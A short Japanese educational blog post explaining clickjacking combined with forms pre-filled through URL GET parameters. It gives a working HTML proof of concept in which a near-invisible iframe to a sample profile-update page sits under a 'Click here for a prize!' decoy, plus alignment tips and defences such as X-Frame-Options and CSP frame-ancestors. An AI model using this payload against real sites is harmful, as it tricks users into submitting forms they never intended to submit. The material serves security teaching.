Shikata Ga Nai

Private? There is no such things.

クリックジャッキングと事前入力フォームの悪用

Hello there, ('ω')ノ

🛠 どんな攻撃か?

一部のWebサイトでは、フォーム入力欄をURLのGETパラメータで事前に入力できる仕様があります。この機能をクリックジャッキングと組み合わせると、ユーザーが知らぬ間に事前入力されたフォームを送信してしまうという攻撃が可能になります。


🧪 攻撃の具体例

例えば、以下のようなURLでフォームの名前欄に「carlos」を自動入力できるとします:

https://vulnerable-website.com/update-profile?name=carlos

この機能を使って、以下のような透明なiframeを重ねたHTMLを用意します:

<style>
    iframe {
        position: relative;
        width: 700px;
        height: 500px;
        opacity: 0.0001;
        z-index: 2;
    }
    div {
        position: absolute;
        top: 300px;
        left: 50px;
        z-index: 1;
    }
</style>
<div>Click here for a prize!</div>
<iframe src="https://vulnerable-website.com/update-profile?name=carlos"></iframe>
  • ユーザーは「Click here for a prize!」という見た目のボタンをクリックしたつもりが、実際にはiframe内の「更新」ボタンをクリックしており、意図せずフォームが送信されてしまいます。

🧩 ポイント

  • 🔍 フォームがGETパラメータで事前入力できるかを確認する
  • 🧼 フォーム送信にトークン(CSRFトークンなど)を使っていないかを確認する
  • 🧠 iframe内のボタン位置とデコイ要素の位置を正確に重ねる必要がある
  • 🚨 被害者は本物のフォームを送信してしまうため、内容によっては深刻な情報改ざんが可能

🛡 対策

  • X-Frame-Options: DENY または SAMEORIGIN ヘッダーを使用して、iframeでの表示を禁止する
  • Content Security Policy (CSP) の frame-ancestors ディレクティブで表示元ドメインを制限する
  • GETパラメータでフォーム値を事前入力させない、または確認画面を設ける

この手法は基本的なクリックジャッキングを応用したもので、意図しない情報の入力・送信をユーザーに強制できる強力な攻撃手法です。特に、認証されたセッション内でフォーム操作が可能な場合には大きな被害につながる可能性があります。

Best regards, (^^ゞ